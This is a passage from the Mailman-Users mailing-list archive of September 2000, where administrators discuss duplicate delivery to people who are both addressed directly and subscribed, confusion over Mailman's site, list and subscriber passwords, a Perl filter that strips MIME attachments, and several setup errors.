       procmail as your local delivery agent (LDA), you can use a formail
       recipe to keep track of Message-Id: headers and remove duplicates.

   2.  If your MTA supports filtering (such as sendmail 8.11.0's libmilter
       filtering API) then you can pump your mail through a Perl script
       at the MTA stage and remove duplicates there.

       This would be a pain in the butt and pretty hard to program.

The reason that this really isn't Mailman's problem is that each one of
those addresses is considered independent of each other.  If the mailing
list and the Cc: address aren't on the same machine, how does Mailman 
know that the user received his Cc: already?  This configuration assumes
that the other mail will always get there -- there are no network outages,
no blacklists, no misconfigured MTAs...

But I should also say that this request isn't really unusual.  We've gone
through this at NCSA with umbrella lists where people are subscribed to 
two or more.  Mailman could be hacked to pull all addresses out of the
headers, then remove duplicates from the outgoing mail list.  Processing
time will increase significantly for very large lists, of course.

Chris


From dgc at uchicago.edu  Thu Sep 21 08:05:10 2000
From: dgc at uchicago.edu (David Champion)
Date: Thu, 21 Sep 2000 01:05:10 -0500
Subject: [Mailman-Users] Re: users getting mail twice
In-Reply-To: <20000921053342.B1200@nova.yi.org>; from tomg@nova.yi.org on Thu, Sep 21, 2000 at 05:33:42AM +0000
References: <20000921053342.B1200@nova.yi.org>
Message-ID: <20000921010510.L22805@smack.uchicago.edu>

On 2000.09.21, in <20000921053342.B1200 at nova.yi.org>,
	"Tom Goulet" <tomg at nova.yi.org> wrote:
> 
> When a user of my mailing list hits the 'g' key in most popular mailers,
> a reply is set up that addressed To: listuser at foo.bar, and CC:
> thelist at mymachine.

Since you're using Mutt, and you specifically mentioned the "g" key,
I'll throw in that Mutt has a feature to avoid this behavior.  Define
your list address as a mailing list using the "lists" directive in the
.muttrc.  Additionally, if you "subscribe" that list in the .muttc, it
will toss in the (nonstandard) Mail-Followup-To: header asking replying
agents to send replies to the list address, not to you.

Not all mailers support Mail-Followup-To:, but would this be a useful
item to put in Mailman's list configuration?  I'd rather that than
Reply-To: anyway.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago


From dgc at uchicago.edu  Thu Sep 21 08:22:37 2000
From: dgc at uchicago.edu (David Champion)
Date: Thu, 21 Sep 2000 01:22:37 -0500
Subject: [Mailman-Users] Re: funkiness after reboot/clock loosing time
In-Reply-To: <00d501c02385$dff43540$6a365d18@groovebox>; from blurr@txraves.org on Wed, Sep 20, 2000 at 11:38:56PM -0500
References: <008501c02382$874cc590$6a365d18@groovebox> <p04330101b5ef3b1dd069@[209.239.169.197]> <00d501c02385$dff43540$6a365d18@groovebox>
Message-ID: <20000921012237.M22805@smack.uchicago.edu>

On 2000.09.20, in <00d501c02385$dff43540$6a365d18 at groovebox>,
	"jordan" <blurr at txraves.org> wrote:
> this may be a dumb question but, whats the diff between the 
> system clock and hardware clock?  and is there any parallel
> in the dos/windows world(having to sync the 2 clocks)?

The system clock is your kernel's sense of time, regulated by some
arbitrary and undefined timing circuitry.  The hardware clock is a
battery-backed oscillator that keeps time even when your system is
down, braindead, or running DOS.

DOS and Windows detect and sync the clock automatically, and have for
the last 7 years or so.  Linux and *BSD do not.  DOS wants to keep the
hardware clock tuned to your local time, but Unixes prefer to keep it
in GMT.  You thus need some way to configure *how* your hardware clock
will be copied into the system clock at boot time.  setclock does
this.  Most stock Linux distributions will run setclock automatically,
but you have to configure it to get the right results.

Early PC's didn't have hardware clocks.  When Linux first rolled
around, hw clocks were a feature you could not depend on.

Nowadays the only reason your PC wouldn't have a hardware clock is that
your clock battery has died.  If you cannot restore time from your hw
clock, your should find the battery and try replacing it.  These are
standard parts, not hard to find if you have the part number.  They
last several years, though, so if your machine is relatively new, this
is almost certainly not your problem.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago


From vl at ez.no  Thu Sep 21 09:58:38 2000
From: vl at ez.no (Vidar Langseid)
Date: Thu, 21 Sep 2000 09:58:38 +0200 (CEST)
Subject: [Mailman-Users] Questions from a prosepective user
In-Reply-To: <028001c02316$eff4e2b0$5bf83b9d@redmond.corp.microsoft.com>
Message-ID: <Pine.LNX.4.21.0009210955350.2796-100000@rebel.ez.no>

What about including that script in the mailman distribution ?


vidar


On Wed, 20 Sep 2000, alex wetmore wrote:

> From: "Chuq Von Rospach" <chuqui at plaidworks.com>
> > At 3:16 PM -0700 9/19/00, Sarah K. Miller wrote:
> > >I read through the FAQ and documentation but couldn't find the
> answers to my
> > >questions there. Does Mailman allow for blocking HTML and
> attachments?
> >
> > you need to use an external filter to do this.
> 
> http://www.phred.org/~alex/stripmime.pl is an external filter which I've
> written to do this.  It will work with most any Unix mailing list
> software.  I've been running it on my lists for 8 or 9 months now with
> no issues and many happy users.  It strips a MIME message down to have
> only the text/plain and text/quoted-printable (which it cleans into
> plaintext) parts.  HTML and binaries are stripped, and the resulting
> message is not MIME.
> 
> Implementation is simple -- just put it in the pipe before mailman in
> your /etc/aliases file.  Here is an example:
> internet-bob:
> "|/usr/local/bin/stripmime.pl|/usr2/local/mailman/mail/wrapper post
> internet-bob"
> 
> The filter takes MIME as input and spits out plaintext.  It is written
> in Perl and fairly simple if you find the need to change it at all.
> 
> Other similar filters appear on freshmeat.net occasionally.
> 
> alex
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From petro at bounty.org  Thu Sep 21 09:58:20 2000
From: petro at bounty.org (petro)
Date: Thu, 21 Sep 2000 00:58:20 -0700
Subject: [Mailman-Users] users getting mail twice
In-Reply-To: <p0433010ab5ef52f16978@[209.239.169.197]>
References: <200009210539.WAA15182@utopia.west.sun.com>
 <p0433010ab5ef52f16978@[209.239.169.197]>
Message-ID: <p04320406b5ef6ed93629@[10.1.1.24]>

>Dan is correct, but mailman could, in fact, do something about it.
>
>One thing I've considered is changing mailman so that if it sees 
>someone listed explicitly in the To: or CC: lines, it wouldn't also 
>send a copy via the list. That probably ought to be configurable, 
>but I think it's a reasonable way to get around this kind of issue, 
>which is, in fact, a feature, but one which some people don't like.

	This would be decidedly *WRONG* behavior.

	The recipient of the reply would then not know that the 
message had been posted to a mailing list, and would either (a) 
assume that since it started on the mailing list, it should continue 
on the mailing list--leading to the posting of "private" email, or 
the recipient of the reply would not know that the message had been 
posted publicly, and would reply privately, assuming that was what 
the replier wanted, and wouldn't know until later that it was still a 
public conversation.

>
>it's definitely not a bug, but I think the MLM can be made smart 
>enough to deal with it.

	There is no way you can make software smart enough to deal 
with lazy, stupid, or malignant users.

	It gets even harder to deal with lazy, stupid, or malignant 
users using software written by programmers who don't follow 
established conventions or RFCs, but that is a completely different 
battle.
-- 
A quote from Petro's Archives:   **********************************************
Sometimes it is said that man can not be trusted with the government 
of himself. Can he, then, be trusted with the government of others? 
Or have we found angels in the forms of kings to govern him? Let 
history answer this question. -- Thomas Jefferson, 1st Inaugural


From Nigel.Metheringham at VData.co.uk  Thu Sep 21 10:24:12 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Thu, 21 Sep 2000 09:24:12 +0100
Subject: [Mailman-Users] users getting mail twice 
In-Reply-To: Message from Chuq Von Rospach <chuqui@plaidworks.com> 
   of "Wed, 20 Sep 2000 22:55:35 PDT." <p0433010ab5ef52f16978@[209.239.169.197]> 
Message-ID: <E13c1eO-0004o3-00@rioja.localnet>

chuqui at plaidworks.com said:
> One thing I've considered is changing mailman so that if it sees
> someone listed explicitly in the To: or CC: lines, it wouldn't also
> send a copy via the list. That probably ought to be configurable, but
> I think it's a reasonable way to get around this kind of issue, which
> is, in fact, a feature, but one which some people don't like. 

Probably ought to be configurable per-user.
I filter list mail into a folder per list.  Mail that doesn't come 
through the MLM isn't filtered that way.  I am reasonably happy to get 
2 copies, one for my attention, one into my list folder (otherwise I 
lose some context within my list folders).

	Nigel.
-- 
[ - Opinions expressed are personal and may not be shared by VData - ]
[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]




From vdenis at free.fr  Thu Sep 21 10:37:20 2000
From: vdenis at free.fr (Vincent DENIS)
Date: Thu, 21 Sep 2000 10:37:20 +0200
Subject: [Mailman-Users] get member list from sql database
Message-ID: <NDBBIGEGALFKOEOJAILFAECLCIAA.vdenis@free.fr>

Hi,

Does any body know somethging about a patch to get member list from an sql
database like postgresql ?

Thanks for any response

Regards,

Vincent DENIS




From thomas at ifi.uio.no  Thu Sep 21 16:31:49 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 16:31:49 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Leonardo Rochael Almeida <lra@insite.com.br>'s message of Wed,
        20 Sep 2000 19:47:52 -0300 (EST)
References: <Pine.LNX.4.21.0009201937380.14619-100000@fantomas.insite.com.br>
Message-ID: <MM.969546709.15287.solva@ifi.uio.no>

>>> Well, at least on mailman 1.x (which is what I use) there is only one
>>> list admin password, so your password would be the same as his.

>> Uh...
>> So if I have 25 lists (which I do), and I have a co-moderator on ONE
>> of them, then he has actually in reality become a list-owner of ALL
>> my lists!?  Is this really true??  I find it hard to believe that
>> someone would actually design it that way purposely... huge bug...
 
> oh, no, no. See, if you have 25 lists, you should have, at least on
> mailman 1.x, 25 passwords.

But that's insane.  If this were the case, any normal person would
set them to the same.

> You may set them to the same string, but they are 25 independent
> passwords nonetheless :-)

I don't think that's the case: when the lists here were transferred
to Mailman, the system gave me one admin password in the message for
the first list, and the subsequent messages for the other lists
referred to me as known to the system and having been provided an
admin password in the first message.  Ditto for new lists that I
have created later.

25 passwords to one person, and then the password(s) are actually
shared with the other moderator(s).  What was the designer of this
idea smoking??

Thomas Gramstad
thomas at ifi.uio.no


From chuqui at plaidworks.com  Thu Sep 21 16:43:06 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 07:43:06 -0700
Subject: [Mailman-Users] get member list from sql database
In-Reply-To: <NDBBIGEGALFKOEOJAILFAECLCIAA.vdenis@free.fr>
References: <NDBBIGEGALFKOEOJAILFAECLCIAA.vdenis@free.fr>
Message-ID: <p0433010cb5efceef89fa@[209.239.169.197]>

At 10:37 AM +0200 9/21/00, Vincent DENIS wrote:

>Does any body know somethging about a patch to get member list from an sql
>database like postgresql ?

doesn't exist, it's in the TODO list.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From chuqui at plaidworks.com  Thu Sep 21 16:47:32 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 07:47:32 -0700
Subject: [Mailman-Users] users getting mail twice
In-Reply-To: <p04320406b5ef6ed93629@[10.1.1.24]>
References: <200009210539.WAA15182@utopia.west.sun.com>
 <p0433010ab5ef52f16978@[209.239.169.197]>
 <p04320406b5ef6ed93629@[10.1.1.24]>
Message-ID: <p0433010eb5efcfcabd6a@[209.239.169.197]>

At 12:58 AM -0700 9/21/00, petro wrote:
>	There is no way you can make software smart enough to deal with 
>lazy, stupid, or malignant users.

But you CAN make software smart enough to deal with the many of the 
things these people do. Will you get 100% of the problems? no. But 
because you won't get 100% of the problems doesn't mean you shouldn't 
deal with the 80% of the common cases you can solve.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From chuqui at plaidworks.com  Thu Sep 21 16:40:39 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 07:40:39 -0700
Subject: [Mailman-Users] users getting mail twice
In-Reply-To: <E13c1eO-0004o3-00@rioja.localnet>
References: <E13c1eO-0004o3-00@rioja.localnet>
Message-ID: <p0433010bb5efcdc94519@[209.239.169.197]>

At 9:24 AM +0100 9/21/00, Nigel Metheringham wrote:

>Probably ought to be configurable per-user.

Is it worth it? I've done studies on this, and the people who care 
are only about 2% of the user base. When do you add enough 
configurable options that even the experts get confused?

Stripping addresses in the To/Cc are fairly easy to do. Doing it 
configurable per user is a different beast. Is the added 
functionality worth the work? Maybe, but I'd say it's a really low 
priority.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From chuqui at plaidworks.com  Thu Sep 21 16:46:20 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 21 Sep 2000 07:46:20 -0700
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: <MM.969546709.15287.solva@ifi.uio.no>
References: 
 <Pine.LNX.4.21.0009201937380.14619-100000@fantomas.insite.com.br>
 <MM.969546709.15287.solva@ifi.uio.no>
Message-ID: <p0433010db5efcf139290@[209.239.169.197]>

At 4:31 PM +0200 9/21/00, Thomas Gramstad wrote:
>  >> my lists!?  Is this really true??  I find it hard to believe that
>>>  someone would actually design it that way purposely... huge bug...
>
>>  oh, no, no. See, if you have 25 lists, you should have, at least on
>>  mailman 1.x, 25 passwords.

Each list subscription is independent. It's something that works for 
some sites, doesn't for others. Switching to a one account per server 
setup would simplify this, and it's on the TODO list somewhere (or at 
least, it's one mine). It also requires seriously re-architecting the 
back end of this.

>But that's insane.  If this were the case, any normal person would
>set them to the same.

and the smart ones would ignore them, and only get the password they 
need at the time they need it... (grin)

>I don't think that's the case:

iwth 2.x, it is. Each subscription to each list is independent of each other.

I'm actually designing a database schema for a subscription system 
for another project; once it's done, the relevant parts can be 
released for use by Mailman.
-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From thomas at ifi.uio.no  Thu Sep 21 16:59:12 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 16:59:12 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Dan Mick <Dan.Mick@West.Sun.COM>'s message of Wed, 20 Sep 2000
        16:59:09 -0700 (PDT)
References: <200009202358.QAA08300@utopia.west.sun.com>
Message-ID: <MM.969548352.15287.solva@ifi.uio.no>

> 1) If you're the "co-moderator", don't you know the list password?

I know _my_ admin password of course.  I don't know _his_.

> If you don't know the password, you're not the moderator, are you?

Like I said, he lost his password.  If it's really true that his
password is the same as mine, then I guess the only problem is a
lack of security...

Thomas Gramstad
thomas at ifi.uio.no

--

> 2) yes, if a password is lost, you have to reset it...that's what
> "password protection" means in nearly every context.  Storing
> plaintext passwords is a security no-no.

> > > If you still have the mailman global-master-super-duper-power
> > > password, you can use it anywhere a password is required and
> > > change a list moderator password this way.
> > 
> > That would be something that the people who installed Mailman
> > at the server at the university have, right?  I've never even
> > heard of such a password.  And I don't have access to the
> > server where all the system files are.
> > 
> > Are you telling me that there is nothing I can do as a list
> > administrator if my co-moderator loses his moderator password
> > (and nothing he can do), other than asking the university
> > computer staff to change and/or send the password to him?
> > 
> > Thomas Gramstad
> > thomas at ifi.uio.no
> > 
> > --
> > 
> > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > 
> > > > > You can change the moderator password at the web interface,
> > > > 
> > > > But that requires that you first provide the old password,
> > > > does it not?  (Which he doesn't have.)
> > > > 
> > > > > but the only time it is sent out is at list creation, AFAIK
> > > > 
> > > > No, also when a new moderator is added (who is not or has never
> > > > been a moderator of another list at the same site).
> > > > 
> > > > Thomas Gramstad
> > > > thomas at ifi.uio.no
> > > > 
> > > > --
> > > > 
> > > > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > > > 
> > > > > > One of my lists has two moderators and now my co-moderator has
> > > > > > forgotten his moderator password.  How can he get it back?
> > > > > > 
> > > > > > First he tried the password that he can get e-mailed to him via
> > > > > > the subscription page, but that's clearly a different password,
> > > > > > used only for un/sub.cribing.  (How can these passwords be made
> > > > > > the same -- automatically -- so that he only needs to think about
> > > > > > one password?)
> > > > > > 
> > > > > > Then we tried that I removed him as a moderator, and then
> > > > > > reinstated him, thinking that Mailman would then send him the (or
> > > > > > a new) moderator password.  No such luck.  Mailman remembered him,
> > > > > > and has apparently decided that he only gets his password exactly
> > > > > > once in his lifetime... unless there is some other solution...
> > > > > > (I should add that my co-moderator isn't sloppy with passwords --
> > > > > > he kept it in an encrypted file, but then his PC crashed and the
> > > > > > file was lost.  Of course that's what happens when one uses a PC
> > > > > > with Microsoft, but still...)
> > > > > > 
> > > > > > Thomas Gramstad
> > > > > > thomas at ifi.uio.no
> > > > > > 
> > > > > > ------------------------------------------------------
> > > > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > > > http://www.python.org/mailman/listinfo/mailman-users
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users


From slipcon at mercea.net  Thu Sep 21 16:59:42 2000
From: slipcon at mercea.net (Scott Lipcon)
Date: Thu, 21 Sep 2000 10:59:42 -0400
Subject: [Mailman-Users] multiple newsgroups
Message-ID: <20000921145942.654FF2626A@mercea.net>

Is there a way to gate multiple newsgroups to the same mailing list?

Its only one directional - the mailing list should receive no posts from
its subscribers (and if it did, they shouldn't be posted back to the
newsgroups)

Thanks,

Scott


From GLeblanc at cu-portland.edu  Thu Sep 21 17:03:00 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Thu, 21 Sep 2000 08:03:00 -0700
Subject: [Mailman-Users] users getting mail twice
Message-ID: <025836EFF856D411A6660090272811E61D0760@EMAIL>

> -----Original Message-----
> From: Chuq Von Rospach [mailto:chuqui at plaidworks.com]
> 
> At 9:24 AM +0100 9/21/00, Nigel Metheringham wrote:
> 
> >Probably ought to be configurable per-user.
> 
> Is it worth it? I've done studies on this, and the people who care 
> are only about 2% of the user base. When do you add enough 
> configurable options that even the experts get confused?
> 
> Stripping addresses in the To/Cc are fairly easy to do. Doing it 
> configurable per user is a different beast. Is the added 
> functionality worth the work? Maybe, but I'd say it's a really low 
> priority.

Ugh, please, please don't do that.  A couple of the lists that I was on used
smartlist, and it stripped the CC:/TO: fields, and it made it a real pain to
tell where the message had been to.  If I get 2 copies (or more, if I'm on
several lists that something got cross-posted to), I can just file them
accordingly, and delete the ones that I don't need.  Munge reply-to headers
if you MUST, but leave well enough alone with anything else the client has
set.  
	Greg


From thomas at ifi.uio.no  Thu Sep 21 17:10:33 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 17:10:33 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Dan Mick <Dan.Mick@West.Sun.COM>'s message of Wed, 20 Sep 2000
        17:03:13 -0700 (PDT)
References: <200009210002.RAA08479@utopia.west.sun.com>
Message-ID: <MM.969549033.15287.solva@ifi.uio.no>

> 
> > > Well, at least on mailman 1.x (which is what I use) there is only one
> > > list admin password, so your password would be the same as his.
> > 
> > Uh...
> > So if I have 25 lists (which I do), and I have a co-moderator on ONE
> > of them, then he has actually in reality become a list-owner of ALL
> > my lists!?  
> 
> What?
> 
> If you're a "co-moderator", and there's only one password for that
> list which you co-moderate, then clearly you have that one password
> or the site password, yes?
> 
> If you have the one password, tell him.
> If you have the site password, change the list password.
> 
> What's the issue?

The issue is that:

1. I want him to be a co-moderator of ONE list, not all of them.
2. I want to have the same admin password for all my lists, not
   25 individual separate passwords, and that's what the system
   is set up to give me.
3. I want him to have his own password, not my password.

Are you saying that:

1. What I have is "the site password" (whatever that means)
2. I can use this as a list password
3. I can also use it to create a list password which I then give
   to him as his individual password (though I could also use it
   as an admin password)

Is that what you are saying?

Thomas Gramstad
thomas at ifi.uio.no


From dgc at uchicago.edu  Thu Sep 21 17:16:02 2000
From: dgc at uchicago.edu (David Champion)
Date: Thu, 21 Sep 2000 10:16:02 -0500
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <MM.969548352.15287.solva@ifi.uio.no>; from thomas@ifi.uio.no on Thu, Sep 21, 2000 at 04:59:12PM +0200
References: <200009202358.QAA08300@utopia.west.sun.com> <Dan.Mick@West.Sun.COM> <MM.969548352.15287.solva@ifi.uio.no>
Message-ID: <20000921101602.S22805@smack.uchicago.edu>

On 2000.09.21, in <MM.969548352.15287.solva at ifi.uio.no>,
	"Thomas Gramstad" <thomas at ifi.uio.no> wrote:
> 
> I know _my_ admin password of course.  I don't know _his_.
> 
> Like I said, he lost his password.  If it's really true that his
> password is the same as mine, then I guess the only problem is a
> lack of security...

Lists have admin passwords.  Subscriptions have subscription
passwords.  Nobody has a user password.  If you set "your admin
password" after he set "his", that's probably how he "lost" "his".

Mailman doesn't have the infrastructure now for associating passwords
to specific people.  That's too bad, but it will get there.  It's not a
dumb system, it just in development.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago


From R.Barrett at ftel.co.uk  Thu Sep 21 17:20:34 2000
From: R.Barrett at ftel.co.uk (Richard Barrett)
Date: Thu, 21 Sep 2000 16:20:34 +0100
Subject: [Mailman-Users] mail domain constraints on membership and posting
Message-ID: <v04220800b5efcfc42fd4@[172.16.3.104]>

I'm bringing up Mailman to take over from a mixture of older home 
brewed programs and majordomo.

I'm considering developing some "enhancements" to Mailman which I'll 
describe below because I cannot see how to achieve some of our 
objectives using current Mailman facilities. But I could be wrong so 
if anyone can tell me how to avoid doing the development I would 
appreciate hearing from you.

Take the following scenarios:

1. Mail lists where people with e-mail addresses in certain mail 
domains (typically inside our business) are free to subscribe without 
approval, where users outside these domains but inside specific other 
domains have to be approved, and all other subscription attempts are 
rejected.

2. Mail lists with members from both inside and outside our local 
mail domain, where posts from e-mail addresses inside our local mail 
domain have to be approved but posts from outside it do not.

I have it in mind that a tidy solution to such scenarios is for mail 
lists to have some extra attributes which are lists of mail domains 
and for some of the list configuration privacy options to be expanded 
to take account of these mail domain attributes.



From carlos at hispalinux.es  Thu Sep 21 17:21:19 2000
From: carlos at hispalinux.es (Carlos Perello Marin)
Date: 21 Sep 2000 14:21:19 -0100
Subject: [Mailman-Users] How public a mbox with Mailman?
Message-ID: <20000921152123.DEA331D084@dinsdale.python.org>

Hello, i have installed Mailman and i have a previous mbox archive for
some lists. What must i do to public those previous mail?

I have try, as the mailman user, ./bin/arch LIST_NAME as the FAQs said,
but it doesn't put the older messages, only which was send after the
mailman installation (I have copied the mbox file into the
LIST_NAME.mbox directorio and with the name LIST_NAME.mbox

Some ideas?

Thanks in advance.

P.S.: Please CC me the answer because i'm not subscribed here.

Bye. 
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From Nigel.Metheringham at VData.co.uk  Thu Sep 21 17:29:11 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Thu, 21 Sep 2000 16:29:11 +0100
Subject: [Mailman-Users] users getting mail twice 
In-Reply-To: Message from Gregory Leblanc <GLeblanc@cu-portland.edu> 
   of "Thu, 21 Sep 2000 08:03:00 PDT." <025836EFF856D411A6660090272811E61D0760@EMAIL> 
Message-ID: <E13c8Hf-0005K8-00@rioja.localnet>

GLeblanc at cu-portland.edu said:
> Ugh, please, please don't do that.  A couple of the lists that I was
> on used smartlist, and it stripped the CC:/TO: fields, and it made it
> a real pain to tell where the message had been to.  If I get 2 copies
> (or more, if I'm on several lists that something got cross-posted to),
> I can just file them accordingly, and delete the ones that I don't
> need.  Munge reply-to headers if you MUST, but leave well enough alone
> with anything else the client has set.   

You've mis-understood what we were talking about.
The proposal was that Mailman should (configurably to some degree) not 
deliver list mail to the addresses listed in the To/Cc lines (since 
they have already received the mail directly).   There has been no 
proposal to mess with the content of these headers.

	Nigel.
-- 
[ - Opinions expressed are personal and may not be shared by VData - ]
[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]




From rogerk at QueerNet.ORG  Thu Sep 21 17:31:36 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Thu, 21 Sep 2000 08:31:36 -0700 (PDT)
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <20000921101602.S22805@smack.uchicago.edu>
Message-ID: <Pine.BSI.4.21.0009210830590.26153-100000@castro.queernet.org>

On Thu, 21 Sep 2000, David Champion wrote:
> Lists have admin passwords.

One of the main issues here is that Mailman doesn't distinguish between
admin and moderation.
-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From dgc at uchicago.edu  Thu Sep 21 17:52:45 2000
From: dgc at uchicago.edu (David Champion)
Date: Thu, 21 Sep 2000 10:52:45 -0500
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <MM.969549033.15287.solva@ifi.uio.no>; from thomas@ifi.uio.no on Thu, Sep 21, 2000 at 05:10:33PM +0200
References: <200009210002.RAA08479@utopia.west.sun.com> <Dan.Mick@West.Sun.COM> <MM.969549033.15287.solva@ifi.uio.no>
Message-ID: <20000921105245.T22805@smack.uchicago.edu>

On 2000.09.21, in <MM.969549033.15287.solva at ifi.uio.no>,
	"Thomas Gramstad" <thomas at ifi.uio.no> wrote:
> 
> 
> Are you saying that:
> 
> 1. What I have is "the site password" (whatever that means)
> 2. I can use this as a list password
> 3. I can also use it to create a list password which I then give
>    to him as his individual password (though I could also use it
>    as an admin password)

I don't know what password it is that you're speaking of, but your
Mailman installation has:

1. A site password that gives you access to any list or any individual
   subscription;
2. Admin ("moderator") passwords, one per list;
3. One password per user subscription.

If you installed the Mailman software, then the password you typed in
when you run mm_site_pass is the site password.

The word you type in when you create a list is the list ("admin" or
"moderator") password.

The word that is auto-generated when a person subscribes is their
subscriber password.

Now, you tell us what you have, and whether there's a problem.  I
suspect this is all a confusion of terminology.

> 1. I want him to be a co-moderator of ONE list, not all of them.

Give him that list's admin password.

> 2. I want to have the same admin password for all my lists, not
>    25 individual separate passwords, and that's what the system
>    is set up to give me.

When you speak of "my lists", are you talking about all the lists on
your server, or of all the lists that you created on some arbitrary
server?  If the former, then you're fine.  You keep the site password,
don't tell him, and you don't need to worry about the list admin
passwords.  I know about 2 list-admin passwords for the 600-odd lists I
have on my server, but I control them all through the site pass.

If the latter, then Mailman is not equipped for you at this time.

> 3. I want him to have his own password, not my password.

Not a problem.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago


From rogerk at QueerNet.ORG  Thu Sep 21 17:59:01 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Thu, 21 Sep 2000 08:59:01 -0700 (PDT)
Subject: [Mailman-Users] Re: Retrieving moderator password
In-Reply-To: <20000921105245.T22805@smack.uchicago.edu>
Message-ID: <Pine.BSI.4.21.0009210857050.26932-100000@castro.queernet.org>

On Thu, 21 Sep 2000, David Champion wrote:
> The word you type in when you create a list is the list ("admin" or
> "moderator") password.

Of course, since for many lists, moderators are not admins, it would be
useful (in the TODO list sense) at a minimum to separate these, and at
best to go to a model where lists have administrators and moderators, each
of whom has a password for the list that gives privileges.
-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From rogerk at QueerNet.ORG  Thu Sep 21 18:01:45 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Thu, 21 Sep 2000 09:01:45 -0700 (PDT)
Subject: [Mailman-Users] users getting mail twice 
In-Reply-To: <E13c8Hf-0005K8-00@rioja.localnet>
Message-ID: <Pine.BSI.4.21.0009210900360.26932-100000@castro.queernet.org>

On Thu, 21 Sep 2000, Nigel Metheringham wrote:
> The proposal was that Mailman should (configurably to some degree) not 
> deliver list mail to the addresses listed in the To/Cc lines (since 
> they have already received the mail directly).

However, this is the kind of behavior that can only be configured by the
recipient appropriately, not by the list-owner.  I, for instance, want
direct copies in addition to list copies; the guy next to me may not. 
-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From martin.chong at flonetwork.com  Thu Sep 21 18:04:23 2000
From: martin.chong at flonetwork.com (Martin Chong)
Date: Thu, 21 Sep 2000 12:04:23 -0400 (EDT)
Subject: [Mailman-Users] TrySMTPDelivery Error
Message-ID: <Pine.BSF.4.21.0009211158520.71701-100000@koyaanisqatsi.rassilon.net>

Hello,

I'm running mailman-1.1 with postfix on FreeBSD 4.0,

I've gotten through some of the initial issues of aliases, and check_perms
looks good. So does my maillog.

However, mailman reports the following:
---------------------------------------

TrySMTPDelivery:    exceptions.TypeError  / connect requires exactly 1
argument; 2 given  (dequeued)

and will report it with an e-mail address as well, i.e.:

Sep 21 11:46:59 2000 TrySMTPDelivery: To ['johnnie at dukat.rassilon.net',
'johnnie at koyaanisqatsi.rassilon.net']:
Sep 21 11:46:59 2000 TrySMTPDelivery:    exceptions.TypeError  / connect
requires exactly 1 argument; 2 given  (dequeued)

I could infer that it only wants one e-mail at a time, but I'm no sure.

Thanks,

------------------------------------------
Martin Chong
Network Specialist
Flonetwork Inc.

martin.chong at flonetwork.com
(416)-369-1100 x7134
------------------------------------------

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From thomas at ifi.uio.no  Thu Sep 21 18:50:34 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 18:50:34 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Chuq Von Rospach <chuqui@plaidworks.com>'s message of Thu, 21
        Sep 2000 07:46:20 -0700
References: <Pine.LNX.4.21.0009201937380.14619-100000@fantomas.insite.com.br>
        <MM.969546709.15287.solva@ifi.uio.no>
        <p0433010db5efcf139290@[209.239.169.197]>
